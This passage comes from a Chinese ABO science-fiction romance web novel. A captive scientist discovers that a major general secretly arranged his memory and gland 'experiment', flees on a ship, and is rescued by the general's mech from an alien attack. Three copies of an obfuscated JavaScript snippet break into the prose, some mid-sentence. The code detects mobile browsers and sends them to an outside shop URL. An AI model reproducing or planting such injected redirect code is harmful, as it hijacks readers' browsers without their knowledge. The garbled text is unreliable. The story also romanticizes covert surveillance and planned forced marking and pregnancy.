联盟的某些人对迟晓充满恶意,所以必须在外空间悄悄手术。这点江怀意还是知道的。 结束视讯后,秦瀚洋心情愉快了不少,甚至是雀跃的。 再过五天,他的晓晓就可以完完整整回到他身边了,他已经迫不及待地想要再次彻底标记他了。 但是记忆导入或许要更久,依迟晓的脾气他未必会愿意接受。那就再等等吧,五年他都熬过来了,几天他还是等得起的。 嘀嘀。视讯请求再次响起。 接通后,画面是大地号的中心指挥舱,几块光屏不断闪烁着橙光,白泽雪白的金属球体在橙光中左右旋转。 “报告,4.5光年外发现空间塌陷,各项参数已达橙色预警值,请求指示!” “具体参数呢?”秦瀚洋神色转为严肃。 白泽报了数值。扭曲强度的数字高得异常,除此之外,扭曲范围,连通深度等数值都只是正常偏上水平。 “参照近五年类似情况,计算入侵概率。”秦瀚洋命令。 空间塌陷早在一千年前就有记录,但异种通过空间塌陷进入这一时空是最近三百年才开始的。 迄今为止最大规模的入侵是在五年前。 在被秦瀚洋率领的盘古编队击溃之后,不知道是不是元气大伤,入侵次数大大减少。 红光在白泽雪白的钢化玻璃罩下飞速闪动,半分钟后,机器人报出数字:“同等条件对比,异种入侵概率30%。” “继续观察。”秦瀚洋说,目光转回屏幕,迟晓正被扶上一架摆渡飞行器。“可能只是一个小型克尔黑洞。” —— 金丝黑楠木做的书架从地板到天花板,占据了整整一面墙,架子上摆满了书籍,迟晓光是站在书架前看着就生出一股满足感。 旧能源时代,纸质书籍就不多见了,如今保留阅读爱好的人们都用光脑读书。纸质图书更多是作为雅致的古典爱好者的收藏品而存在。 收藏品自然是价格不菲的。这一墙的书大约比这间屋子还要有含金量。 纸书算是迟晓最奢侈的爱好。书本捧在手上的感觉和光屏完全不同,翻开纸页时,墨香带来的安宁也是闪烁的字符不能给予的。 曾经他家也有过几本珍贵的纸质书。 他还记得其中一本泛黄的纸页和精美的植物插画,令他着迷。 那时候父亲还没有因为沉迷实验而搞垮身体,他们也还没背上债务。 脑中传来熟悉的钝痛。迟晓微微皱眉。他还是不能仔细回忆过去。 一天前记忆载入的实验对大脑的影响很大。那天,他回来就呕吐了,江教授开了药,但没用。 到了晚上他开始头疼,做了一晚上的梦,梦到自己因为坐了那人的飞行器被那几个Omega针对了。 他们孤立他,扔掉他的衣服,威胁要挖出他的腺体。 这些大约不仅仅是梦,他对其中几件事有印象。 应该是载入的记忆唤醒了更多记忆,并串联起来。 迟晓很不愿意想起这些。但是,再忍忍吧,他对自己说,等实验结束,再忘掉就好了。到时候,他就可以再回荒星去教书,蜜莉一定很担心他。 他将目光落回书架,扫过一本本书脊,心情也越来越愉悦。 真好,这里有很多文史类的书。 他的长项是理工科,尤其是化学。别人眼里五花八门的分子结构式和化学反应,他就像刻在脑子里一样过目不忘。但历史,社科一类知识却记得很模糊,孩子们问得细了他就答不上来。 那就趁现在多看多记一些吧。 手指虚滑过书脊。 《泛星系联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281330|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盟史》,有五册,太厚重也太学术了。 《历史的转折点》,这个很适合。 《旷古战争——异种的入侵》,…… 手指停顿了一会,迟晓把这本比联盟史还厚的书拿下来。 如果历史他还记得一星半点,那么对于异种他却一点也不记得了。这不应该,除非关于异种的记忆也被删除了。可他不可能接触过异种。 他翻开书页。发现这本书之所以那么厚是因为有大量图片,厚实的铜版纸印刷的真彩照片。 扑面而来是密密麻麻的鳞片。 黑色金属光泽的鳞片无规律地突出成棱角,包裹着难以描述的一个形体,像一个长满尖刺的金属团块。 团块用棱角支撑着身体,但没有眼睛没有嘴巴,没有一点生物该有的特征。从图片下方的一排高楼可以看出这怪物有多大,每一个角都可以从顶到底刺穿一栋大厦。 迟晓翻过这一页,又是一张照片。 一个巨大的降落伞状的东西占据大半照片,它单薄的表面看上去流光溢彩又矛盾地显得十分坚固。在它下方是无数节肢似的长腿和半成废墟的城市。而它身后的夜空缀满无数彩色流星,更多闪亮的“降落伞”正在落下。 之后的每一页,都是不一样的怪物。或一只或一群,但都一样怪异,一样伴随着死亡和毁灭。 这就是异种。 从无法解释的空间塌陷中跑出来的东西。 一开始是小型的一两只,之后个体越来越巨大,数量也越来越多,并且能在各种极端环境中生存。 说生存或许不够准确,因为科学家们至今无法确定它们的物质构成,那是处于有机和无机之间的一种状态。 同样也无法确认它们的目的。 不为掠夺,不为占领,也无法沟通。只是破坏和杀戮,直到被消灭。 人类幸运地消灭了每一只入侵的异种,但空间塌陷的时间地点无规律可循,里面出来的东西也一样多变。人类只能一次又一次面对随时来临的袭击。 外部压力导致内部团结,泛星系联盟诞生了,建立起环绕中央星系的长城防线。 由Alpha精神力驱动的生物融合机甲被发明出来,最后,人类消耗了一颗行星的资源创造了盘古——唯一的恒星级机甲要塞,且只能由SSS级精神力操控。 盘古。 迟晓默念这个名字,发现自己也没有印象。 他想象不出耗费一颗行星创造的要塞多么强大,也想象不出SSS级Alpha有多强大。甚至怀疑真有这么强悍的Alpha吗? 迟晓的目光停留在弯曲的字母上。 那么,他的信息素也一定强悍到没有Omega能抗拒吧,化验的话,不知能得出多么美妙的数据。 作为曾经的信息素研究员,迟晓控制不住地想。 一张面孔闪过脑海。硬朗的眉峰,弧度完美的唇角,还有锋芒外露充满野性的眼睛。 他竟然想起了那个少将军官。 迟晓不愿意承认,但这人确实很有魅力,至少是SS级。 只是,在已经没有腺体的他看来,内心毫无波澜。这种高级Alpha的信息素是他没办法承受的,即使在从前,他也不会肖想。 迟晓记得生理课有提过。级别差超过两级的话,低等级的那一方会因为无法承受快感而受伤。 什么样的伤课本没说,迟晓也想象不出来,但他仍忍不住后颈发僵。 不能再回忆了,经过记忆导入,他想起这人除了生理性的不适,还新添了难堪和羞耻。 不会再见面,真是太好了。 8. 第 8 章 迟晓收回心思,一目十行把那本写异种入侵的书浏览一遍,放回去,挑选下一本时,响起了敲门声。 注射的时间还没到,这时候会来的只有江教授。 迟晓开了门,教授欢快的声音同时响起。 “我来查房了。”他挥挥手里的便携体检枪。记录数据本来应该是助手做的事,但迟晓没见过任何助手,这个实验似乎是教授一个人在完成。 他拿来拖鞋,教授换鞋时看到了他的脚。 “这地毯真的很舒服,是不是?” 迟晓也看着自己半陷在地毯绒毛里的粉白脚趾,有些不好意思。“这里待遇太好了。我不像实验志愿者,倒像是来享受的。” “等试验完成,你的待遇会更好。”江教授挤挤眼。 迟晓想了想,道:“您是指酬劳吗?” 实验志愿者在实验结束时或多或少都有酬劳,但是... “我做志愿者是为抵罪的,也能有酬劳吗?”迟晓有些惊讶。 江教授幅度很大地点头。 迟晓很高兴。算是意外之喜。 这个实验的委托人很豪气,给志愿者的酬劳应该也不会少,那么他就能带一些物资回荒星了。他盘算着要带些什么。 两人在柔软的沙发上坐下,江教授打开体检枪,边问:“怎么样了,这几天有没有好点?” 迟晓老实回答:“没有再呕吐,但还是会头疼,以前的事回忆得越多就越疼。” “神经突触在重建连接,这是正常的,你需要多回忆。”江教授调好仪器。“来,伸手。” 迟晓指尖一痛,不一会,报告出来了。 江教授对着报告皱了皱眉头。但很快又恢复轻松的状态。 “指标还可以,我开点神经松弛剂给你吧,对头疼很有用。”他掏出兜里一个棕色小瓶晃了晃,笑得像分享秘密的小孩似的。“还记得这个吗?” 迟晓也笑。“当然了。” 江教授因为工作强度太大,常年要吃神经松弛剂,他们这些研究员都知道。 教授收好仪器,站起身。 迟晓送他到门口,他突然想到什么回头说:“对了,明天我会回中央星系一趟,你需要带点什么吗?” “不用了,这里什么都有了。” “那这几天你好好休息,我回来再进行下一步实验。” 关上门的时候,迟晓听到教授的通讯器发出视讯通话的请求声。 迟晓回到书架前,正要再找一本故事书,他突然想起来,让教授带几台装了图书馆阅读器的光脑多好,孩子们就可以随意读书了。 教授应该还没走远。迟晓打开门,顾不得穿鞋,追进走廊。 光着的脚指一下子缩起来。 这地板有金属的冷硬感。狭长的走廊整体都像金属制成。没有窗户,墙壁透出冷白的光。 他从一个温馨的房间出来,一脚踏入寒冰的隧道,进入另一个世界。 此前他离开房间都是坐全封闭的医疗摆渡车,完全看不见外面,竟不知房间外是这个模样。 就,十分的违和。 疑惑像野草从土里冒头。迟晓顿住脚步,看着左右一模一样空荡荡的走廊,不知该往哪边走。 “我知道,但是不能再快了。”教授的声音从左边走廊尽头传来。 迟晓追了过去。出于他自己也不明白的原因,他动作很轻,没有发出多余的声响。 在转弯之前他放慢脚步。说话声清晰得像贴着耳朵。 “和预想不同,他的身体太虚弱了,指标达不到,下一步实验必须延后。”教授少见地有些焦急。 “二十天,我只能给您二十天。”一个浑厚的声音从通讯器里传出。 迟晓浑身一抖,后脑勺泛起熟悉的寒冷,像又敷上一层冰。 那人的声音异常坚决。 “作为委托人,我有权利要求您,二十天内必须完成腺体移植与记忆恢复!” 是他! 这个总带着上位者傲慢口吻的声音他不会忘记,视讯里的人是谁已非常清楚。 秦瀚洋!他怎么会是委托人! 迟晓眼前闪回到那天,秦瀚洋等待他做出选择时的神情,冷酷,不耐,言语间刀锋相逼,逼他立刻决定。 但其实,所谓试验都是假的! 他早已被安排得明明白白,必须恢复腺体,导回记忆! 这人果然不会放过他。 可是,他怎么做究竟是为什么? 拐角另一边,江教授仍在据理力争。 “移植很快就可以进行,但记忆导入需要过程,欲速则不达,治疗的事你还是要听我的。” 秦瀚洋的声音停顿了数秒,之后稍微软化了些。 “他的回忆很重要,我不想再失去一次机会,请您务必尽快。” 教授叹了一口气。 “知道了,回来以后就进行第二次导入,没法更快了。” “可以。” “咳,我说瀚洋啊,”教授声音又轻快了。“你要是这么着急,先把我的飞船准备好?” 对面的声音依旧没什么温度。“已经准备好了。白泽。” 机器声响起:“明早七点,A101层起落坪,小猎犬号全自动宇航飞船,航线已预设,您可以直接登机。” “行。” 嘀的一声,通话结束了,电梯开门的声音响了起来,教授离开了。 迟晓整个人靠在墙上,心脏咚咚跳动。好一会儿,他才撑起身体往房间走回去。 脚步很慢,大脑却在飞速运转。 他的记忆对秦瀚洋很重要,所以他才没有急于送他进监狱,也可能整件监狱的事都是捏造的,根本就没有缉拿令,一切都是为了让他恢复记忆。 迟晓突然不寒而栗。 为什么?为什么他的记忆对一个少将很重要?他是否知道了什么不该知道的事,或是涉及国家机密,或是黑幕丑闻? 恢复记忆后呢?会被灭口吗? 不,不会被灭口,他们还要恢复他的腺体。然而这一点更加可怕。一个没有背景,任人拿捏的Omega会遭遇什么…… 一时间,他开始胡思乱想起来。 等回到房门前时,恐慌已达到巅峰。他逃避似地打开门。 淡淡的花香从门里扑面而来,走廊的金属色在门内突兀地变成铺满蓝色小花的墙纸,生硬的柔和。 曾经的温馨虚假的可怕。 他想起什么,跑向窗户。 白色纱帘依然随风轻舞,他扶着窗棱尽可能探出身,对着远方的雪山伸出手。雪白的山顶在指尖处起了暗色波纹状褶皱。 这是一整面全息投影,连风都是假的。迟晓意识到的同时起了一身鸡皮疙瘩。 这里到底是哪里! 脚下云朵般柔软的地毯忽然就像陷阱之上的遮掩。 他已经身处陷阱之中! 他缓缓后退,直到被桌角绊倒,跌坐在沙发里,柔软的海绵材质陷了下去,却再也没有舒适感。 迟晓条件反射地跳起来,脑袋里只有一个念头。 他不能坐以待毙。 —— 秦瀚洋挂掉视讯。 他的焦急不是没有原因。 江教授作为腺体研究所的所长,行踪大概率会被记录。虽然教授来去都是乘坐他派出的小型飞船,跃迁产生的空间震动也一定会被监测系统捕捉。 即使教授答应保密,这里的一切也瞒不了多久。 在巡航任务中处理私事,属于严重违纪,要记大过开除军籍。但军事管委会碍于他的身份,大概只会给个口头警告,挠痒痒一样,他不在乎。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281331|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但是迟晓,迟晓的处境十分尴尬。 光是盗窃稀缺物资罪就足够上高等法庭,即使他动用关系,那些人也一定会百般阻挠。 秦瀚洋想到当那张缉拿令拍在迟晓面前的时候,那人血色褪尽的脸。 他握紧了拳头。 必须尽快治好他,然后,彻底标记他,最好让他怀孕,这样就能逃过审判。 烦躁的情绪越加翻涌,他急需安抚。没有取出镇定剂,他招来球型机器人。“白泽,调取视频。” 白泽的红眼睛不情愿地闪烁。“我必须再次提醒您,让我窥探隐私是不对的,违反了机器人道德准则第二十条……” “少罗嗦。”秦瀚洋说,放出一点精神力,以示自己处在暴走边缘。 “……遵命。” 光屏里出现一间复古雅致的房间,这是他五年前就准备好的,他说过要带迟晓一起遨游星海,那不是一句玩笑话。 秦瀚洋不是第一次调取房间视频了。他知道这样不对,但是他忍不住。只要能看见那个身影他就舒坦很多。连镇定剂都省了。 这个时间迟晓通常窝在沙发里看书,乖巧宁静的模样他百看不厌。 可是这一次,房间里空空如也。 秦瀚洋皱起眉头。“看看卧室!” 焦躁的口吻。白泽赶紧照办。 卧室窗帘紧闭,窗外的人造日光透过布帘,照出一片灰朦。 屋内乍一眼看过去没有人。但床上被子是隆起的。秦瀚洋的视线落在露出被子的浅栗色头发上,立刻散去锋芒,不由自主柔和起来。 迟晓在休息。 这样很好,他的身体需要休息。 他静静看着那几缕头发,仿佛这样就已心满意足。 他沉浸在这满足中,不知过了多久,直到白泽发出刺耳的警报。 “空间塌陷红色预警!!入侵警报!入侵警报!” —— 如果秦瀚洋这时没有去处理异种入侵,他就会看到光屏里,迟晓卧室的门打开了。 一个纤瘦的身影走进房间,径直来到床边坐下。无声无息地坐了一会后,他掀开被子,合衣躺下。原本半露在被子外的栗色球状物被他推到一边。——是个超大的长毛犬玩偶。 他喜欢被子里放着玩偶睡觉,布置房间的人很了解他,准备了玩偶。还是他最喜欢的狗狗玩偶。 这个习惯帮了他大忙。秦瀚洋把玩偶当作迟晓看了半天,而真正的迟晓此时才回来。 他出去探险了。 但实在没什么好探的。 左右走廊各连接一部电梯,除此以外,没有岔路,没有窗户,没有门,也没有别的房间,什么也没有,这条走廊就像是独立分出来的某个封闭区域。 他只能观察电梯。楼层显示最低到负三十层,还有K,N等楼层,而他所在的是X层——电梯上方有一个X字样。奇怪的楼层。迟晓心想,他猜测这是一栋建在地下的大楼,所以没有窗户,而不同字母代表不同部门。 很可疑。 迟晓可以断定,这样的设计和建造实力不属于腺研所或任何民间机构。 倒更可能属于军方。实验的秘密等级和那位少将的声音也证实了这一点。 他唯一的收获就是在门口墙壁上发现了一张逃生指示图,图上用一红一蓝标出两条路,红色那条很短,转折几次后指向一片空白区域,区域中标着一颗星,不知道是什么地方。蓝色那条经过好几处似乎是房间和通道的地方,终点写着A101起落坪。 A101起落坪,好熟悉…… 江教授回中央星系坐的飞船就在A101起落坪! 迟晓有了一个大胆的计划。 他没有配戴光脑,只能把地图牢牢记在脑子里,然后,回到房间,躺下。 现在他需要充分地休息。 9. 第 9 章 一个晚上很快过去,迟晓在虚假的晨光里醒来。 先看时间。 6点。正正好。 他穿戴妥当,在6点10分打开房门。 走廊里的感应灯亮了起来。他按照蓝色线路向左,跑过走廊按动电梯。 电梯从负三十五层升上来,他盯着楼层数字缓慢变化,忍住不断攀升的焦灼。 走廊和电梯一定有监控,他也一定会被发现,但若他跑得足够快,或许能赶在教授之前登上飞船。 这种小型自动飞船不需要驾驶员,只要设定好航线,就能抵达目的地。所以,他完全可以乘坐这艘飞船飞回中央星系。 甚至,他还可以改变航线随便到达某个航程内的星球。——虽然他自己也想不通,作为曾经的腺研所研究员,怎么知道操控飞船,但他确实知道。 这是一次孤注一掷的逃亡,成功取决于运气。 电梯总算来了,地图蓝线标示到A101起落坪必须先到K1层,他找到K1按钮,电梯向下。 一层,两层...时间异常漫长。 一片寂静中只有微不可闻的电梯运行声,和迟晓略微急促的心跳声。 忽然之间,滴——!滴——!滴——! 刺耳的警报声在轿厢中响起。 迟晓整个人弹了一下,抬起头,寻找发出报警音的装置。 但除了闪着红灯的漆黑摄像头,什么也没有。 他被发现了吗?! 这么快! 仓皇中,楼层显示K1层已到达。 迟晓背靠着电梯墙壁,随着军属门板打开绷紧身体。 他想象中,那些军人将会冲进来抓他,毫不留情地把他拖回实验台。 然而,电梯门打开,门外空无一人。 他小心地跨出电梯。 眼前仍然是一条长长的银白走廊。不同的是,这条走廊更宽,两侧有许多关着的门,和不知通向何方的狭长岔道。 但与X层同样,冰冷生硬,所有地方没有一个人。 刺耳的报警音在空荡廊道中震耳欲聋,天花板闪烁着红光,带来令人窒息的紧张感。 一切都过于古怪! 不管怎样,尽快离开总是没错的。 迟晓不再多想,按着记忆奔跑起来,出电梯右转,经过三个岔道,左拐到尽头,再左拐…… 红色灯光在他通过时亮起,刺耳的报警声里夹着他撞击耳鼓的心跳。 快了,地图显示通道尽头连接一个环形通道,环形中间的一部电梯可以直通A101停机坪。 迟晓加快步伐,灯光已照亮前方开阔的空间,他冲进那里,却骤然停住。 这根本不是什么通道,而是一个巨大的交通枢纽。 位于中间的圆柱形电梯井足有半个足球场大小,包括上百部大小不同的电梯,向上望去,几乎看不到尽头。 几十条环形通道围绕圆柱,延展出更多发光悬空通道通向不同方向。 而最显眼的,是电梯外围的一整圈圆柱形半透明光屏。迟晓不知道这光屏原本显示的是什么,但现在,上面缓慢旋转的是一排红色大字。 【纵深跃迁将在4分32秒后启动,请尽快进入预备点。】 纵深跃迁? 迟晓瞪着那几个字,终于明白为什么到处都没有人。 纵深跃迁与短距跃迁不同,产生的空间扭曲会使次级波瞬间增强到极大值,足以致命,必须穿戴专门的放护服或进入装有屏蔽装置的房间才行。 这里的人肯定都进入跃迁预备点躲避了。 可据他所知,只有大型星际飞船才可能纵深跃迁,而他现在不应该是在一栋地下建筑里吗? 而且,什么飞船能有数百层的电梯,望不到头的通道? 该有多么巨大! 但他顾不得细想了。 倒计时已经跳到了4分26秒。 跃迁马上开始,他也必须躲避。 可他连最近的预备点在哪里都不知道。 现在他有两个选择,要么无头苍蝇一样地寻找预备点,找不到就是被次级波震破血管惨死,找到则是自投罗网,逃亡失败。 要么,继续他的计划,在4分,不3分钟内进入飞船。 所有星际飞船内都有配备防护服。穿上防护服,等跃迁结束后,立刻起飞逃离。至少还有一线生机。 倒计时的红光如死亡的喘息,迟晓没有多花一秒,做出了选择。 他奔向圆柱形电梯,电梯里的光屏也显示同样的一排红字。他按动A101楼层按钮,当时间跳到2分50秒的时候,门开了。 眼前是一片一望无际的大厅,宏大到难以想象是一艘飞船的内部。 穹顶上同样显示着倒计时,给整片空间投上惨淡的红光。 靠电梯出口最近的停机坪上停着一架圆盘型飞行器,蓝色外壳上标着“小猎犬”三个大字。 就是这艘飞船! 迟晓拔腿跑向飞船,幸运的是,舱门是开着的,他跳进船舱的那一刻,响起了新的报警声。 “跃迁倒计时:59!”机器女声无情的声音在大厅里回荡。 防护服,快点,防护服在哪! “58!” “57!” 迟晓的眼睛在不算宽敞的船舱内飞快扫视,应急装备的标识牌下没有找到印象里厚重的防护服,只看见一件银白色连体衣,轻薄得过分。 这应该就是防护服,五年时间,科技已经这么发达了? “30!” 无暇多想,他迅速套上连体衣,拉上拉链。 该死,卡住了! “5!4!3...” 迟晓使劲一退再一拉。 ...1!开始跃迁。” 同时,嗤地一声,拉链拉上了。 巨大的震颤袭来,他被猛地震到在地。 跃迁开始时会有十秒左右的震动,之后飞船会进入折叠起来的纵深空间平稳航行。 迟晓等待震颤过去,才爬起来。坐进驾驶座椅的时候,他发现衣服已被冷汗浸透,双腿也因为之前的剧烈运动而微微打抖。 他轻舒一口气,唇边浮起一抹放松的微笑。 成功了! 容易得近乎荒唐。多亏这突如其来的跃迁,占用了大量系统资源,限制了人们的行动,他才能安然抵达飞船。 但是还不能大意,随时会有人发现他不见了,他必须尽快离开这里。 凭借一点模糊的记忆,迟晓调出了小猎犬号的控制系统,随意选了一颗最近的星球的坐标,只等跃迁一结束就启动导航飞行程序。 很快,一阵和之前一样的震颤传来,标志飞船驶离折叠空间,结束跃迁。 震动一停,迟晓立刻按动自动导航按钮,仅仅5秒钟后,航线确立,紧接着系统发出出航请求,等待起落口打开。 迟晓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281332|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胆战心惊地等待着,如果起落口不打开,他依然无法离开。 他从前方的透明玻璃望出去,猜测哪里是出口。这里并没有看起来像发射台之类的东西。 头顶一阵嗡鸣,迟晓抬头,看见大厅的穹顶打开了一个钻石形洞口,透过洞口,能看见外面。 宇宙漆黑的背景上是一条条拉长的彩色光弧,或成漩涡或似长河,那是被折叠的空间扭曲的星光,如梵高的星空一般迷幻绚烂。 迟晓的呼吸急促起来,有一种熟悉的感觉呼之欲出。 是自由,是希望,是奔赴向未知的恐惧与激动。 他毫不犹豫地按下出发按钮。小飞船缓缓升起,接着突然加速,箭一般穿过空洞,进入太空。 成功了,真正地逃脱了! 要不是安全带束缚,迟晓都想跳起来。但下一秒,他的兴奋消失得无影无踪。代之而起的是无尽的惊怖。 一个庞大的东西出现在前方,遮住了所有星光。 它浑身是斑驳的灰黑色,像池塘里的淤泥,被人捞出砸在宇宙的背景板上。凌乱的边缘没有任何生物该有的特质,比飞船还大数十倍的身体不断改变形状,怪异而瘆人。 ——异种! 看见的第一眼,迟晓脑中闪过这个字眼。 困扰人类数百年的诡秘生物,出现在了他的面前! 然而,在他有所反应之前,灰黑色怪物已经察觉到了他。 烂泥般的身体里猛地射出无数触手,穿过几千公里的空间,笔直向飞船扑来。 !! 秦瀚洋收到白泽发来的信息时,正一身作战服,坐在盘古号驾驶舱中,随时准备出发。 如果是联盟其他巡航舰队,即使装备满员的5架X型机甲,遭遇异种时,也不敢正面攻击,总要等增援到位才开打。 秦瀚洋不一样。 一旦发现异种,无论等级,他一律下令出击。 盘古的战力,中等级异种只有被锤成渣的份,至于高等级,则迂回周旋,正好可以研究异种多样性,为寻找异种巢穴提供数据。 眼前光屏中的脏泥巴不过是中等级,几分钟后就将灰飞烟灭。 秦瀚洋一边操纵系统将自己的神经网络与机甲连接,一边漫不经心地听作战中心报告异种数据。 这时,光屏右下角的一小点蓝色椭圆形吸引了他的注意力。 那是一艘小型客运飞船,正划着弧线飞出盘古号的舰体,几乎正面撞上异种。 “教授就这么急着走?胆子真大。”他随口说着,丝毫不担心里面人的安危,反正等会他就能把威胁消灭了。 正在汇报数据的白泽停顿了下。 “那是迟晓,长官。8分钟前,跃迁刚开始时,他跑出了房间,进入了小猎犬号飞船。” 秦瀚洋的动作一下子停了。 原本随意的眼神瞬间凌厉。 “怎么不早说!”愤怒的声音响彻作战中心。 军官们面色紧张,都不敢言语,白泽只好很没底气地解释。 “因为,您之前命令,异种入侵是最高优先级……” 此时,作战中心的墙面巨屏上,小小的蓝色飞船像一块小饼干,漂浮在庞大的泥团异种前,而泥团正在收缩,那是即将攻击的征兆! “现在开始,他是最高优先级!” 男人话音刚落,发射台上,等离子发动机的蓝光轰然爆开。 盘古已冲出舰体。 10. 第 10 章 小猎犬号里,迟晓的背脊紧贴座椅。 泥浆状触手飞速射来,眨眼间近在咫尺,他甚至能看到上面密布的瘤子。 他睁大的眼睛在撞击的前一秒猛地闭上,接着是剧烈的震动和甩荡。 异种抓住了他的小飞船,疯狂甩动。他像坐在发疯的钟摆上,被晃得快要呕吐。 睁眼看去,只见前窗被泥巴样触手遮住了大半,紧贴玻璃的瘤子被压扁,挤出无数不停伸缩的细小牙齿,咯吱咯吱地啃咬着钢化玻璃。 呕! 迟晓密集恐惧症都要犯了,更恐怖的是,从触手的缝隙中,他能看到那团不规则泥团快速放大,无数更大的瘤子一个接一个张开口,细牙加错摩擦,迫不及待要吞噬他。 他像个猎物,正被猎食者拉到嘴边。 有什么办法自救? 他扑向操作台,试图启动发动机,利用尾焰烧灼怪物。但小飞船已完全失去动力,毫无反抗之力,甚至舱壁在触手挤压下发出变形的吱呀声。 小飞船要被吃掉了! 忽然间,刺目的蓝光爆起! 迟晓反射性地闭眼,只觉得视网膜被强光刺穿。又一下强光,他藏在操作台下,拼命用双臂抱住头,眼前依然炫白一片,能感觉到窗外一下又一下猛烈爆炸的蓝白闪光。 像宇宙被炸穿了一个大洞。 真空隔绝了爆炸声,光爆好一会才停下。 迟晓慢慢睁开眼,从玻璃上触手的缝隙间望出去。 一片漆黑的背景上只有星海。异种不见了,一个碎片也没有留下,只剩下窗上那一团黑泥一动不动。 他茫然不知发生了什么,突然间,那块黑泥被撕扯掉,迟晓一个激灵,一抬头,对上了一双“眼睛”。 不,确切地说,那不是一双眼睛,而是一架巨型人形机甲的眼睛部位。那机甲太大了,迟晓觉得自己可以钻到它的瞳仁里去。 银蓝相间的金属外壳构成锋锐的线条,每一个部件都组合得恰到好处,形成一张端正的机器面庞,曲面反射着星河的光辉而流光溢彩,这是人类机械所能展现的极致的完美。 不,不仅是机械的美,迟晓觉得它似乎有某种情感。 那两颗隐藏在阴影中的眼睛牢牢锁住他,像深渊般要将他吞噬。 好在很快,机甲转开头,迟晓这才发觉,自己竟然被震慑住而忘记了呼吸。 比异种还吓人。 他长出了一口气,心知自己算是被救下了。 他从舷窗仰望出去,可以看到一个凌厉坚韧的侧颜。他和他的小飞船正被那台巨型机甲稳稳托在手心里。 多么奇怪,他印象里人类战力在异种面前总处于弱势,一架机甲就能摧毁一个异种,这种事或许只有传说中的“盘古”能做到。可是,他一个残次的Omega,值得最强机甲来救吗? 他看向另一边舷窗,一艘星舰正不断靠近,同样是个庞然大物,甚至看不见全貌。 他认出钻石形的起落口,这是他刚刚逃出来的星舰。也是这艘巨型机甲的伴随舰。 那银色舰身上赫然印着“盘古护卫舰——大地号”几个大字。 是“盘古”! 那台联盟倾尽全力,消耗一颗恒星的能量制造的机甲,也是为唯一的一位3S级Alpha量身打造的神级兵器! 以开天辟地的巨神为名,让来自深空的邪恶异种望而却步。 迟晓沉浸在震惊中,脑中涌出无数猜测又被推翻。 他只明白一点,逃亡失败了。 死里逃生的余悸和被盘古救下的震惊疑惑胜过了沮丧。迟晓静静地坐在座椅里,等着接下来的判决。 然而就在这时,舷窗外出现一个快速靠近的黑影。 黑影遍布鼓起的瘤子,是那块异种残骸! 事情发生在一瞬间。 残骸撞向小猎犬的刹那,一只机甲巨手挡在了它面前。 迟晓眼前,火光如星点般四溅。 巨掌上,机器的残片爆炸开,与火星一起扩散在真空中,像那只手上开出了一朵血与火的花。 —— 小猎犬被平稳地放下。 这是一座异常空旷的起落场,足够容纳盘古。 迟晓坐在小飞船座椅里,看到一群人匆忙地跑向巨型机甲。有穿白大褂的医护人员,也有穿灰蓝色制服的技术人员和几名军人。 匆忙而不慌乱,这些人训练有素。 希望那名驾驶员没事。 迟晓默默坐着,前窗映出他苍白的脸。 他想起,那只机械巨手在被洞穿后狠狠攥紧,将那块异种残骸烧融在掌心,同时在手部留下一个灼黑的空洞。 听说机甲与驾驶员之间通过神经共融来适配,人机感应一体。手掌洞穿,这该有多痛。 叩叩,敲击舱门声让迟晓回过神来。 是江教授。 “我真没想到,你竟然这么大胆!为什么要逃跑?还是用给我安排的飞机?”他絮絮叨叨地说。一边给走下飞船的迟晓检查起来。 确定没有外伤后,他拿出快速体检仪。 迟晓一言不发任他检查,眼睛一直看着盘古的方向。 医生们通过机甲旁的电梯上到机甲头部,在那里骚动了一阵,接着一个身影推开人群和担架车,进入电梯下到地面。 电梯打开,一个熟悉的人影向着迟晓快步走来。 是那个少将Alpha,他竟然不觉得意外。 与少将军服的稳重与强势不同,略紧身的战斗服将这人身上的凶猛和霸道凸显出来,被勾勒出的健硕曲线,挺拔身体的每一个动作都是力与美的展现,让人联想到捕猎的猛兽。 尤其在他紧盯住他,挟着战场上的余威向他走来时,迟晓觉得自己就是那只猎物。 他克制着没有退后,但心跳与呼吸都失去控制。 刚结束战斗的3S级Alpha精神力还没有完全收回,愤怒又使这力量处在失控边缘,信息素毫无顾忌地爆发出来。 所有人在他经过时都匆忙躲避,生怕被波及。江教授体检都没做完,就脖子一缩,三步并作两步逃开。 迟晓逃无可逃。 曾经还是Omega时,Alpha的信息素对他只有诱惑和挑逗的意味,他从未体会过Alpha的精神力压制,而现在失去腺体等同于Beta,他第一次知道,顶级Alpha的信息素和精神力原来如此可怖。 他在这股威慑下缩起肩膀,止不住发抖,呼吸凝滞了,他几乎要跪下求饶。 痛苦与惧怕在军靴来到他面前的那一刻达到顶点。 